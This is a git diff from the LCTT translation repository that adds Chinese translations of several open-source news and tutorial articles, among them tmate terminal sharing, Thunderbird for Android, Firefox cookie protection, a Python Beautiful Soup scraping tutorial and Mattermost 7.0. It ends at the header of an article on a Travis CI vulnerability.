"Sumantro Mukherjee https://opensource.com/users/sumantro" +[#]: collector: "lkxed" +[#]: translator: "geekpi" +[#]: reviewer: "turbokernel" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14726-1.html" + +用 tmate 分享你的 Linux 终端 +====== + +> tmate 扩展了你分享 Linux 终端会话的方式。 + +![](https://img.linux.net.cn/data/attachment/album/202206/18/170815hfrcdfd4lltd737z.jpg) + +作为 Fedora Linux QA 团队的一员,我有时想将自己执行的一堆命令广而告之给其他开发者。如果你曾经使用过像 [tmux][5] 或 [GNU Screen][6] 这样的 [终端复用器][4],你可能会认为这是一个挺轻松的任务。不是所有看我的示范的人都是从笔记本电脑或台式机连接到我的终端会话的,有些人可能是随手在他们的手机浏览器中打开的,因为我使用了 [tmate][7],所以他们可以很容易地做到这一点。 + +### 使用 tmate 分享 Linux 终端 + +观看别人在 Linux 终端的工作是非常有教育意义的。你可以学到新的命令、新的工作流程,或者新的调试和自动化的方法。但要抓住你所看到的东西,以便你以后可以自己尝试,这可能很困难。你可能会借助截图或一个共享终端会话的屏幕记录,这样你就可以在以后打出每个命令。剩下的唯一选择是由演示命令的人使用 [Asciinema][8] 或 [script 和 scriptreplay][9] 等工具来记录会话。 + +但是通过 `tmate`,用户可以在只读模式下或通过 SSH 分享终端。SSH 和只读会话都可以通过终端或以 HTML 网页的形式访问。 + +当我为 Fedora QA 团队培训人员时,我使用只读模式,因为我需要运行命令并显示输出,但有了 `tmate`,人们可以通过从他们的浏览器复制和粘贴到文本编辑器来记录笔记。 + +### Linux tmate 上手 + +在 Linux 上,你可以用你的包管理器安装 `tmate`。例如,在 Fedora 上: + +``` +$ sudo dnf install tmate +``` + +在 Debian 和类似的发行版上: + +``` +$ sudo apt install tmate +``` + +在 macOS 上,你可以用 [Homebrew][10] 或 [MacPorts][11] 安装它。如果你需要其他 Linux 发行版的说明,请参考 [安装][12] 指南。 + +![Screenshot of terminal showing the options for tmate sharing: web session (regular and read-only) and ssh session (regular and read-only)][13] + +安装后,启动 `tmate`: + +``` +$ tmate +``` + +当 `tmate` 启动时,会生成链接,通过 HTTP 和 SSH 提供对终端会话的访问。每个协议都有一个只读方式,以及一个反向的 SSH 会话。 + +下面是一个网络会话的样子: + +![Screenshot showing tmate terminal window and 2 versions of sharing sessions demonstrating the same code][14] + +`tmate` 的网络控制台是 HTML5 的,因此,用户可以复制整个屏幕并粘贴到终端来运行相同的命令。 + +### 保持会话 + +你可能想知道如果你不小心关闭了你的终端会发生什么。你也可能想知道如何与不同的控制台应用共享你的终端。毕竟,`tmate` 是一个多路复用器,所以它应该能够保持会话,脱离并重新连接到一个会话,等等。 + +当然,这正是 `tmate` 所能做到的。如果你曾经使用过 `tmux`,这可能是相当熟悉的。 + +``` +$ tmate -F -n web new-session vi console +``` + +这个命令在 `vi` 中打开了 `new-session`,`-F` 选项确保会话在关闭时也能重新产生。 + +![A screenshot of the terminal showing the output after using the new-session and -F options: connection information for either a web session (regular or read-only) or ssh session (regular or read-only)][15] + +### 社交复用 + +`tmate` 给你带来了 `tmux` 或 GNU Screen 的自由度,以及与他人分享会话的能力。这是一个有价值的工具,可以教其他用户如何使用终端、演示一个新命令的功能,或调试意外的行为。它是开源的,所以请试一试! + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/22/6/share-linux-terminal-tmate + +作者:[Sumantro Mukherjee][a] +选题:[lkxed][b] +译者:[geekpi](https://github.com/geekpi) +校对:[turbokernel](https://github.com/turbokernel) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/sumantro +[b]: https://github.com/lkxed +[1]: https://opensource.com/sites/default/files/lead-images/terminal_command_linux_desktop_code.jpg +[2]: https://pixabay.com/en/users/iradaturrahmat-3964359/ +[3]: https://pixabay.com/en/ubuntu-computer-program-interface-3145957/ +[4]: https://opensource.com/article/21/5/linux-terminal-multiplexer +[5]: https://opensource.com/downloads/tmux-cheat-sheet +[6]: https://opensource.com/article/17/3/introduction-gnu-screen +[7]: https://tmate.io/ +[8]: https://opensource.com/article/22/1/record-your-terminal-session-asciinema +[9]: https://www.redhat.com/sysadmin/record-terminal-script-scriptreplay +[10]: https://opensource.com/article/20/6/homebrew-mac +[11]: https://opensource.com/article/20/11/macports +[12]: https://tmate.io/ +[13]: https://opensource.com/sites/default/files/2022-06/install%20tmate_0.png +[14]: https://opensource.com/sites/default/files/2022-06/tmate%20web%20session.png +[15]: https://opensource.com/sites/default/files/2022-06/tmate%20keeping%20session%20alive.png diff --git a/published/202206/20220614 Thunderbird, The Open Source Email Client, Is Coming To Android.md b/published/202206/20220614 Thunderbird, The Open Source Email Client, Is Coming To Android.md new file mode 100644 index 0000000000..8d3dfe46e5 --- /dev/null +++ b/published/202206/20220614 Thunderbird, The Open Source Email Client, Is Coming To Android.md @@ -0,0 +1,38 @@ +[#]: subject: "Thunderbird, The Open Source Email Client, Is Coming To Android" +[#]: via: "https://www.opensourceforu.com/2022/06/thunderbird-the-open-source-email-client-is-coming-to-android/" +[#]: author: "Laveesh Kocher https://www.opensourceforu.com/author/laveesh-kocher/" +[#]: collector: "lkxed" +[#]: translator: "lkxed" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14715-1.html" + +开源电子邮件客户端 Thunderbird 即将登陆 Android +====== + +![](https://img.linux.net.cn/data/attachment/album/202206/16/084004gdzgp4bqgigi9tpe.jpg) + +开源电子邮件客户端 Thunderbird 将通过 K-9 Mail Android 电子邮件应用项目登陆 Android,该项目与 Thunderbird 合并后的产品就是 Thunderbird Android 电子邮件应用。两年前,Thunderbird 被转移到了 Mozilla 基金会的子公司 MZLA Technologies Corporation 下,该公司的所有权结构与基金会子公司 Mozilla 公司旗下的 Firefox 类似。有了 OpenPGP 端到端加密和期待已久的移动应用等新功能,Thunderbird 项目能够开辟出一条自己的道路。 + +根据 Thunderbird 团队的说法,Thunderbird 产品经理 Ryan Lee Sipes 和 K-9 的主要维护者 Christian Ketterer,两人早在 2018 年就开始讨论可能的 Thunderbird 电子邮件应用合作了。到了 2022 年,两人决定不再让 Thunderbird 从头开始​​开发自己的应用程序,而是直接让 K-9 加入 Thunderbird。 + +Thunderbird 团队表示:“许多 Thunderbird 用户都要求在移动设备上获得 Thunderbird 体验,我们打算通过把 K-9 打造成令人惊叹的产品(并将其变成 Android 上的 Thunderbird)来提供这种体验。K-9 将补充提供 Thunderbird 体验,并增强它的使用场景和方式,让用户获得出色的电子邮件体验。我们对桌面 Thunderbird 的承诺没有改变,我们团队中的大多数人都致力于将其打造为一流的电子邮件客户端,并将保持这种状态。” + +虽然 K-9 在 Google Play 上并不是特别受欢迎的电子邮件应用,但它已经获得了 500 万次下载。K-9 Mail 的路线图目前包括:使用 Thunderbird 帐户自动配置的帐户设置、改进的文件夹管理、消息过滤器支持,以及桌面和移动 Thunderbird 之间的同步。虽然 Thunderbird 知道人们对 iOS 版 Thunderbird 应用程序也很感兴趣,但在常见问题解答(FAQ)中,该项目仅声明它正在“评估”这种可能性。 + +Thunderbird 团队还打算将 Firefox Sync 作为一种在 Thunderbird 和 K-9 Mail 之间同步帐户的方法。它应该会在 2023 年夏天正式投入使用。该项目还在研究将哪些 Thunderbird 功能引入 Android 应用程序,例如日历、任务、提要和聊天支持等。 + +-------------------------------------------------------------------------------- + +via: https://www.opensourceforu.com/2022/06/thunderbird-the-open-source-email-client-is-coming-to-android/ + +作者:[Laveesh Kocher][a] +选题:[lkxed][b] +译者:[lkxed](https://github.com/lkxed) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.opensourceforu.com/author/laveesh-kocher/ +[b]: https://github.com/lkxed +[1]: https://www.opensourceforu.com/wp-content/uploads/2022/06/android-developer.jpg diff --git a/published/202206/20220615 According to studies, Twitter Drives Open Source Projects Popularity.md b/published/202206/20220615 According to studies, Twitter Drives Open Source Projects Popularity.md new file mode 100644 index 0000000000..f3a693778c --- /dev/null +++ b/published/202206/20220615 According to studies, Twitter Drives Open Source Projects Popularity.md @@ -0,0 +1,42 @@ +[#]: subject: "According to studies, Twitter Drives Open Source Projects Popularity" +[#]: via: "https://www.opensourceforu.com/2022/06/according-to-studies-twitter-drives-open-source-projects-popularity/" +[#]: author: "Laveesh Kocher https://www.opensourceforu.com/author/laveesh-kocher/" +[#]: collector: "lkxed" +[#]: translator: "lkxed" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14734-1.html" + +有研究表明,推特能够推动开源项目的普及 +====== + +![推特][1] + +由 HongBo Fang 博士领导的研究团队发现,推特是一种吸引更多人关注和贡献 GitHub 开源项目的有效方式。Fang 博士在国际软件工程会议上发表了这项名为“‘这真是太棒了!’估计推文对开源项目受欢迎程度和新贡献者的影响”的研究,并获得了杰出论文奖。这项研究显示,发送和一个项目有关的推文,导致了该项目受欢迎程度增加了 7%(在 GitHub 上至少增加了一个星标),贡献者数量增加了 2%。一个项目收到的推文越多,它收到的星标和贡献者就越多。 + +Fang 说:“我们已经意识到社交媒体在开源社区中变得越来越重要,吸引关注和新的贡献者将带来更高质量和更好的软件。” + +大多数开源软件都是由志愿者创建和维护的。参与项目的人越多,结果就越好。开发者和其他人使用该软件、报告问题并努力解决这些问题。然而,不受欢迎的项目有可能得不到应有的关注。这些劳动力(几乎都是志愿者),维护了数百万人每天依赖的软件。例如,几乎每个 HTTPS 网站都使用开源的 OpenSSL 保护其内容。Heartbleed 是 OpenSSL 中发现的一个安全漏洞,在 2014 年被发现后,企业花费了数百万美元来修复它。另一个开源软件 cURL 允许连接的设备相互发送数据,并安装在大约 10 亿台设备上。开源软件之多,不胜枚举。 + +此次“推特对提高开源项目的受欢迎程度和吸引新贡献者的影响”的研究,其实是 “Vasilescu 数据挖掘与社会技术研究实验室”(STRUDEL)的一个更大项目的其中一部分,该研究着眼于如何建立开源社区并且其工作更具可持续性。毕竟,支撑现代技术的数字基础设施、道路和桥梁都是开源软件。如果维护不当,这些基础设施可能会崩溃。 + +研究人员检查了 44544 条推文,其中包含指向 2370 个开源 GitHub 存储库的链接,以证明这些推文确实吸引了新的星标和项目贡献者。在这项研究中,研究人员使用了一种科学的方法:将推特上提及的 GitHub 项目的星标和贡献者的增加,与推特上未提及的一组项目进行了比较。该研究还描述了高影响力推文的特征、可能被帖子吸引到项目的人的类型,以及这些人与通过其他方式吸引的贡献者有何不同。来自项目支持者而不是开发者的推文最能吸引注意力。请求针对特定任务或项目提供帮助的帖子会收到更高的回复率。推文往往会吸引新的贡献者,**他们是 GitHub 的新手,但不是经验不足的程序员**。还有,**新的关注可能不会带来新的帮助**。 + +提高项目受欢迎程度也存在其缺点,研究人员讨论后认为,它的潜在缺点之一,就是注意力和行动之间的差距。**更多的关注通常会导致更多的功能请求或问题报告,但不一定有更多的开发者来解决它们**。社交媒体受欢迎程度的提高,可能会导致有更多的“巨魔”或“有毒行为”出现在项目周围。 + +(LCTT 译注:我觉得文章中有三句话写得很好,于是把它们加粗了,和大家分享。 —— 六开箱) + +-------------------------------------------------------------------------------- + +via: https://www.opensourceforu.com/2022/06/according-to-studies-twitter-drives-open-source-projects-popularity/ + +作者:[Laveesh Kocher][a] +选题:[lkxed][b] +译者:[lkxed](https://github.com/lkxed) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.opensourceforu.com/author/laveesh-kocher/ +[b]: https://github.com/lkxed +[1]: https://www.opensourceforu.com/wp-content/uploads/2022/06/twiiter.jpg diff --git a/published/202206/20220615 How I use LibreOffice keyboard shortcuts.md b/published/202206/20220615 How I use LibreOffice keyboard shortcuts.md new file mode 100644 index 0000000000..eb9db93ab1 --- /dev/null +++ b/published/202206/20220615 How I use LibreOffice keyboard shortcuts.md @@ -0,0 +1,59 @@ +[#]: subject: "How I use LibreOffice keyboard shortcuts" +[#]: via: "https://opensource.com/article/22/6/libreoffice-keyboard-shortcuts" +[#]: author: "Jim Hall https://opensource.com/users/jim-hall" +[#]: collector: "lkxed" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14765-1.html" + +使用 LibreOffice 键盘快捷键的小技巧 +====== + +![](https://img.linux.net.cn/data/attachment/album/202206/27/144807lc4csplt17xm6mee.jpg) + +> 键盘快捷键让我专注于我要传递的内容,而不是它的外观。 + +从我记事起,我就一直在使用文字处理软件。当文字处理器从直接格式化转向利用样式来改变文本在页面上的显示方式时,这对我的写作有很大的推动作用。 + +LibreOffice 提供了多种样式,你可以使用它们来创建各种内容。 LibreOffice 将段落样式应用于文本块,例如正文、列表和代码示例。字符样式类似,只是这些样式适用于段落内的内联词或其他短文本。使用“视图View -> 样式Styles”菜单,或使用 `F11` 键盘快捷键,调出样式选择器。 + +![Image of LibreOffice styles][2] + +使用样式可以更轻松地编写更长的文档。看看这个例子:作为咨询实践的一部分,我写了很多工作簿和培训材料。一个工作簿可能有 40 或 60 页长,具体取决于主题,并且可以包含各种内容,例如正文、表格和列表。我的一些技术培训材料可能还包括源代码示例。 + +我有一个提供给客户的标准培训集,但我也做定制的培训计划。在处理自定义程序时,我可能会先从另一个工作簿导入文本,然后从那里开始工作。根据客户的不同,我可能还会调整字体和其他样式元素以匹配客户的样式偏好。对于其他材料,我可能需要添加源代码示例。 + +要使用直接格式输入示例源代码,我需要设置字体并调整工作簿中每个代码块的边距。如果我后来决定我的工作簿应该对正文文本或源代码示例使用不同的字体,我需要返回并更改所有内容。对于包含多个代码示例的工作簿,这可能需要几个小时来查找每个源代码示例并调整字体和边距以匹配新的首选格式。 + +但是,通过使用样式,我可以更新定义一次,为正文样式使用不同的字体,并且 LibreOffice Writer 会在所有使用正文样式的地方更新我的文档。同样,我可以调整预格式化文本样式的字体和边距,LibreOffice Writer 会将这种新样式应用到每个具有预格式化文本样式的源代码示例中。这对于其他文本块也是如此,包括标题、源代码、列表以及页眉和页脚。 + +我最近有了一个好主意,更新 LibreOffice 键盘快捷键以简化我的写作过程。我重新定义了 `Ctrl + B` 设置加粗强调字符样式,`Ctrl + I` 设置强调字符样式,`Ctrl + 空格` 设置取消字符样式。这使我的写作变得更加容易,因为我不必暂停写作,这样我就可以高亮显示一些文本并选择一种新的风格。相反,我可以使用新的 `Ctrl + I` 键盘快捷键来设置字符样式,它本质上是斜体文本。之后我输入的任何内容都使用强调样式,直到我按 `Ctrl + 空格` 将字符样式重置为默认的无字符样式。 + +![Image of LibreOffice character styles][3] + +如果你想自己设置的,请使用“工具Tools -> 自定义Customize”, 然后单击“键盘Keyboard”选项卡以修改键盘快捷键。 + +![Image of LibreOffice keyboard customizations][4] + +LibreOffice 通过样式使技术写作变得更加容易。通过利用键盘快捷键,我简化了我的写作方式,让我专注于我要交付的内容,而不是它的外观。稍后我可能会更改格式,但样式保持不变。 + +*图片来源:(Jim Hall,CC BY-SA 40)* + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/22/6/libreoffice-keyboard-shortcuts + +作者:[Jim Hall][a] +选题:[lkxed][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/jim-hall +[b]: https://github.com/lkxed +[1]: https://opensource.com/sites/default/files/lead-images/programming_keyboard_coding.png +[2]: https://opensource.com/sites/default/files/2022-06/libreofficestyles.png +[3]: https://opensource.com/sites/default/files/2022-06/libreofficecharstyles.png +[4]: https://opensource.com/sites/default/files/2022-06/libreofficekeyboardcustom.png diff --git a/published/202206/20220615 Mozilla Just Made Firefox the Most Secure Web Browser for All Users.md b/published/202206/20220615 Mozilla Just Made Firefox the Most Secure Web Browser for All Users.md new file mode 100644 index 0000000000..9273ad64d6 --- /dev/null +++ b/published/202206/20220615 Mozilla Just Made Firefox the Most Secure Web Browser for All Users.md @@ -0,0 +1,77 @@ +[#]: subject: "Mozilla Just Made Firefox the Most Secure Web Browser for All Users" +[#]: via: "https://news.itsfoss.com/mozilla-firefox-secure/" +[#]: author: "Ankush Das https://news.itsfoss.com/author/ankush/" +[#]: collector: "lkxed" +[#]: translator: "lkxed" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14723-1.html" + +Mozilla 刚刚使 Firefox 成为所有人的最安全的网页浏览器 +====== + +> Mozilla 终于启用了一项隐私保护功能,这可能使其成为当下最安全的网页浏览器。你怎么看? + +![Mozilla Firefox][1] + +Mozilla Firefox 是市面上最安全的开源网页浏览器之一。 + +毫无疑问,你可以自由定制它来进一步增强安全性,这就是 Tor 浏览器使用 Firefox 作为其核心的原因。 + +并且,这也是 [我继续使用 Firefox 的原因][2] 之一。 + +现在,Mozilla 终于为**所有桌面用户**启用了一项新功能,这使其成为最安全的浏览器(或是他们声称的“最安全”)。 + +本文中,我讨论的不是任何新功能,而是 Firefox 中的现有功能,即 Cookie 全面保护Total Cookie Protection。它是在去年与 [Firefox 86][3] 一起引入的,但默认情况下并未对所有用户启用。 + +### 为所有用户提供的全面的 Cookie 保护 + +“Cookie 全面保护”正在向所有人推出,无论你使用的是 Windows、Mac 还是 Linux,它将成为默认启用的核心功能之一。 + +最初,要使用该功能,你必须启用严格模式(增强跟踪保护Enhanced Tracking Protection)。但现在,你不再需要这样做了。 + +#### 它是什么? + +如果你好奇的话,“Cookie 全面保护”会隔离每个网站和它们的 Cookie。Cookie 是网站向你的浏览器发送的少量数据。 + +因此,Cookie 不会在网站之间共享,从而防止了跨站跟踪cross-site tracking。 + +浏览器将为你访问的每个网站都创建单独的“饼干罐Cookie Jar”。(LCTT 译注:Cookie 原意是小饼干。) + +![][4] + +Mozilla 的博文对此进行了更多解释: + +> 在任何时候,网站或嵌入网站的 [第三方内容][5] 在浏览器中存储的 Cookie,都将仅限于分配给该网站的 “饼干罐”。其他网站无法进入不属于它们的“饼干罐”,以得到你存储在那些 Cookie 中的信息。这可以让你免受侵入性广告的影响,并减少公司收集的关于你的信息量。 + +### 那么,这有什么大不了的吗? + +即使你配备了所有的隐私跟踪保护和内容拦截器,你也不一定知道,其实还有个问题叫做“跨站跟踪”。 + +因此,通过跨站点的 Cookie 交互,你的许多个人活动和习惯,都可以帮助数字跟踪公司建立你的在线个人资料。 + +但是,对于 Mozilla Firefox 来说,它在所有其他隐私措施之上,默认额外启用了该功能,这可确保你获得最私密的体验。 + +并且,所有这些都不需要你调整任何东西,这应该为那些“重视隐私”的用户提供方便。 + +想了解进一步信息,你可以查看 Mozilla 的 [官方公告][6]。 + +-------------------------------------------------------------------------------- + +via: https://news.itsfoss.com/mozilla-firefox-secure/ + +作者:[Ankush Das][a] +选题:[lkxed][b] +译者:[lkxed](https://github.com/lkxed) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://news.itsfoss.com/author/ankush/ +[b]: https://github.com/lkxed +[1]: https://news.itsfoss.com/wp-content/uploads/2022/06/mozilla-made-firefox-most-secure-web-browser.jpg +[2]: https://news.itsfoss.com/why-mozilla-firefox/ +[3]: https://news.itsfoss.com/firefox-86-release/ +[4]: https://news.itsfoss.com/wp-content/uploads/2021/02/tcp-firefox.png +[5]: https://support.mozilla.org/en-US/kb/third-party-cookies-firefox-tracking-protection#:~:text=Third%2Dparty%20cookies%20are%20cookies,considered%20a%20third%2Dparty%20cookie. +[6]: https://blog.mozilla.org/en/products/firefox/firefox-rolls-out-total-cookie-protection-by-default-to-all-users-worldwide/ diff --git a/published/202206/20220616 Analyze web pages with Python requests and Beautiful Soup.md b/published/202206/20220616 Analyze web pages with Python requests and Beautiful Soup.md new file mode 100644 index 0000000000..1716386150 --- /dev/null +++ b/published/202206/20220616 Analyze web pages with Python requests and Beautiful Soup.md @@ -0,0 +1,145 @@ +[#]: subject: "Analyze web pages with Python requests and Beautiful Soup" +[#]: via: "https://opensource.com/article/22/6/analyze-web-pages-python-requests-beautiful-soup" +[#]: author: "Seth Kenlon https://opensource.com/users/seth" +[#]: collector: "lkxed" +[#]: translator: "lkxed" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14769-1.html" + +使用 Python 的 requests 和 Beautiful Soup 来分析网页 +====== + +![](https://img.linux.net.cn/data/attachment/album/202206/28/132859owwf9az49k2oje2o.jpg) + +> 学习这个 Python 教程,轻松提取网页的有关信息。 + +浏览网页可能占了你一天中的大部分时间。然而,你总是需要手动浏览,这很讨厌,不是吗?你必须打开浏览器,然后访问一个网站,单击按钮,移动鼠标……相当费时费力。如果能够通过代码与互联网交互,岂不是更好吗? + +在 Python 的 `requests` 模块的帮助下,你可以使用 Python 从互联网中获取数据: + +``` +import requests + +DATA = "https://opensource.com/article/22/5/document-source-code-doxygen-linux" +PAGE = requests.get(DATA) + +print(PAGE.text) +``` + +在以上代码示例中,你首先导入了 `requests` 模块。接着,你创建了两个变量:其中一个叫做 `DATA`,它用来保存你要下载的 URL。在之后的代码中,你将能够在每次运行应用程序时提供不同的 URL。不过,就目前而言,最简单的方法是“硬编码”一个测试 URL,以达到演示目的。 + +另一个变量是 `PAGE`。代码读取了存储在 `DATA` 中的 URL,然后把它作为参数传入 `requests.get` 函数,最后用变量 `PAGE` 来接收函数的返回值。`requests` 模块及其 `.get` 函数的功能是:“读取”一个互联网地址(一个 URL)、访问互联网,并下载位于该地址的任何内容。 + +当然,其中涉及到很多步骤。幸运的是,你不必自己弄清楚,这也正是 Python 模块存在的原因。最后,你告诉 Python 打印 `requests.get` 存储在 `PAGE` 变量的 `.text` 字段中的所有内容。 + +### Beautiful Soup + +如果你运行上面的示例代码,你会得到示例 URL 的所有内容,并且,它们会不加选择地输出到你的终端里。这是因为在代码中,你对 `requests` 收集到的数据所做的唯一事情,就是打印它。然而,解析文本才是更加有趣的。 + +Python 可以通过其最基本的功能来“读取”文本,但解析文本允许你搜索模式、特定单词、HTML 标签等。你可以自己解析 `requests` 返回的文本,不过,使用专门的模块会容易得多。针对 HTML 和 XML 文本,我们有 [Beautiful Soup][2] 库。 + +下面这段代码完成了同样的事情,只不过,它使用了 Beautiful Soup 来解析下载的文本。因为 Beautiful Soup 可以识别 HTML 元素,所以你可以使用它的一些内置功能,让输出对人眼更友好。 + +例如,在程序的末尾,你可以使用 Beautiful Soup 的 `.prettify` 函数来处理文本(使其更美观),而不是直接打印原始文本: + +``` +from bs4 import BeautifulSoup +import requests + +PAGE = requests.get("https://opensource.com/article/22/5/document-source-code-doxygen-linux") +SOUP = BeautifulSoup(PAGE.text, 'html.parser') + +# Press the green button in the gutter to run the script. +if __name__ == '__main__': +    # do a thing here +    print(SOUP.prettify()) +``` + +通过以上代码,我们确保了每个打开的 HTML 标签都输出在单独的一行,并带有适当的缩进,以帮助说明标签的继承关系。实际上,Beautiful Soup 能够通过更多方式来理解 HTML 标签,而不仅仅是将它打印出来。 + +你可以选择打印某个特定标签,而不是打印整个页面。例如,尝试将打印的选择器从 `print(SOUP.prettify())` 更改为: + +``` +print(SOUP.p) +``` + +这只会打印一个 `

` 标签。具体来说,它只打印遇到的第一个 `

` 标签。要打印所有的 `

` 标签,你需要使用一个循环。 + +### 循环 + +使用 Beautiful Soup 的 `find_all` 函数,你可以创建一个 `for` 循环,从而遍历 `SOUP` 变量中包含的整个网页。除了 `

` 标签之外,你可能也会对其他标签感兴趣,因此最好将其构建为自定义函数,由 Python 中的 `def` 关键字(意思是 “定义”define)指定。 + +``` +def loopit(): +    for TAG in SOUP.find_all('p'): +        print(TAG) +``` + +你可以随意更改临时变量 `TAG` 的名字,例如 `ITEM` 或 `i` 或任何你喜欢的。每次循环运行时,`TAG` 中都会包含 `find_all` 函数的搜索结果。在此代码中,它搜索的是 `

` 标签。 + +函数不会自动执行,除非你显式地调用它。你可以在代码的末尾调用这个函数: + +``` +# Press the green button in the gutter to run the script. +if __name__ == '__main__': +    # do a thing here +    loopit() +``` + +运行代码以查看所有的 `

` 标签和它们的内容。 + +### 只获取内容 + +你可以通过指定只需要 “字符串string”(它是 “单词words” 的编程术语)来排除打印标签。 + +``` +def loopit(): +    for TAG in SOUP.find_all('p'): +        print(TAG.string) +``` + +当然,一旦你有了网页的文本,你就可以用标准的 Python 字符串库进一步解析它。例如,你可以使用 `len` 和 `split` 函数获得单词个数: + +``` +def loopit(): +    for TAG in SOUP.find_all('p'): +        if TAG.string is not None: +            print(len(TAG.string.split())) +``` + +这将打印每个段落元素中的字符串个数,省略那些没有任何字符串的段落。要获得字符串总数,你需要用到变量和一些基本数学知识: + +``` +def loopit(): +    NUM = 0 +    for TAG in SOUP.find_all('p'): +        if TAG.string is not None: +            NUM = NUM + len(TAG.string.split()) +    print("Grand total is ", NUM) +``` + +### Python 作业 + +你可以使用 Beautiful Soup 和 Python 提取更多信息。以下是有关如何改进你的应用程序的一些想法: + +* [接受输入][3],这样你就可以在启动应用程序时,指定要下载和分析的 URL。 +* 统计页面上图片(`` 标签)的数量。 +* 统计另一个标签中的图片(`` 标签)的数量(例如,仅出现在 `

` div 中的图片,或仅出现在 `

` 标签之后的图片)。 + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/22/6/analyze-web-pages-python-requests-beautiful-soup + +作者:[Seth Kenlon][a] +选题:[lkxed][b] +译者:[lkxed](https://github.com/lkxed) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/seth +[b]: https://github.com/lkxed +[1]: https://opensource.com/sites/default/files/lead-images/python_programming_question.png +[2]: https://beautiful-soup-4.readthedocs.io/en/latest/ +[3]: https://opensource.com/article/17/3/python-tricks-artists-interactivity-Python-scripts diff --git a/published/202206/20220616 Mattermost Extends workflow platform with 7.0 release.md b/published/202206/20220616 Mattermost Extends workflow platform with 7.0 release.md new file mode 100644 index 0000000000..042d200389 --- /dev/null +++ b/published/202206/20220616 Mattermost Extends workflow platform with 7.0 release.md @@ -0,0 +1,40 @@ +[#]: subject: "Mattermost Extends workflow platform with 7.0 release" +[#]: via: "https://www.opensourceforu.com/2022/06/mattermost-extends-workflow-platform-with-7-0-release/" +[#]: author: "Laveesh Kocher https://www.opensourceforu.com/author/laveesh-kocher/" +[#]: collector: "lkxed" +[#]: translator: "lkxed" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14738-1.html" + +Mattermost 7.0 发布,扩展了工作流平台 +====== + +![Mattermost][1] + +自 2016 年开源以来,Mattermost 一直在开发一个具有不断增加的用例的消息传递平台。6 月 16 日,Mattermost 7.0 平台发布,其中包括了新的语音呼叫、工作流模板和用于开源技术的应用框架。新版本扩展了 2021 年 10 月发布的 6.0 版本引入的功能。一直以来,Mattermost 都在与包括 Slack、Atlassian 和 Asana 在内的几家大公司,竞争不断增长的协作工具市场。另一方面,Mattermost 侧重于对开发者的支持,尽管该平台也可用于安全和 IT 运营。 + +Mattermost 的软件同时提供有商业版和开源版,目前它们都升级到了 7.0 版。Tien 解释说,Mattermost 的商业平台是建立在开源基础上的。在开放核心模型中,开源版作为软件的基础或核心,专有的企业功能则内置于商业版中。合规性、规模性和高级配置是 Mattermost 的关键企业功能。Tien 声称,开源版本对于中小型团队来说已经足够了。他认为,拥有 500 名或更多用户的团队才需要考虑使用商业版。 + +Tien 认为开源也关乎社区贡献。Mattermost 开源项目有超过 4000 名个人贡献者,他们贡献了超过 30000 行代码。 + +以前,Mattermost 依赖集成第三方呼叫服务(例如 Zoom)来启用语音呼叫功能。在 7.0 版本中,它通过开源 WebRTC 协议引入了呼叫功能的直接集成,所有现代 Web 浏览器都支持该协议。直接集成呼叫功能的目标是为协作提供单一平台,这符合 Tien 对该平台的总体愿景。现在,除了提供集成工具以实现协作之外,该平台还会增加“工作流模板”功能,以帮助(用户)组织构建可重复的流程。 + +工作流概念采用了 剧本playbook,其中包含了为“特定类型的操作”所执行的动作和操作的清单。例如,在发生服务故障或网络安全事件时,公司可以为事件响应创建工作流模板。 + +这个清单可以链接到 Mattermost 操作operation,例如让特定用户发起呼叫,并协助生成报告。Tien 表示,Mattermost 还与常见的开发者工具集成,并且工作流模板的功能将随着时间的推移而扩展,以便使用第三方工具来实现更多自动化。 + +-------------------------------------------------------------------------------- + +via: https://www.opensourceforu.com/2022/06/mattermost-extends-workflow-platform-with-7-0-release/ + +作者:[Laveesh Kocher][a] +选题:[lkxed][b] +译者:[lkxed](https://github.com/lkxed) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.opensourceforu.com/author/laveesh-kocher/ +[b]: https://github.com/lkxed +[1]: https://www.opensourceforu.com/wp-content/uploads/2022/06/marttermost-e1655377462300.jpeg diff --git a/published/202206/20220616 The Travis CI Vulnerability Exposes Sensitive Open Source Project Credentials.md b/published/202206/20220616 The Travis CI Vulnerability Exposes Sensitive Open Source Project Credentials.md new file mode 100644 index 0000000000..396d198271 --- /dev/null +++ b/published/202206/20220616 The Travis CI Vulnerability Exposes Sensitive Open Source Project Credentials.md @@ -0,0 +1,38 @@ +[#]: subject: "The Travis CI Vulnerability Exposes Sensitive Open Source Project Credentials" +[#]: via: "https://www.opensourceforu.com/2022/06/the-travis-ci-vulnerability-exposes-sensitive-open-source-project-credentials/" 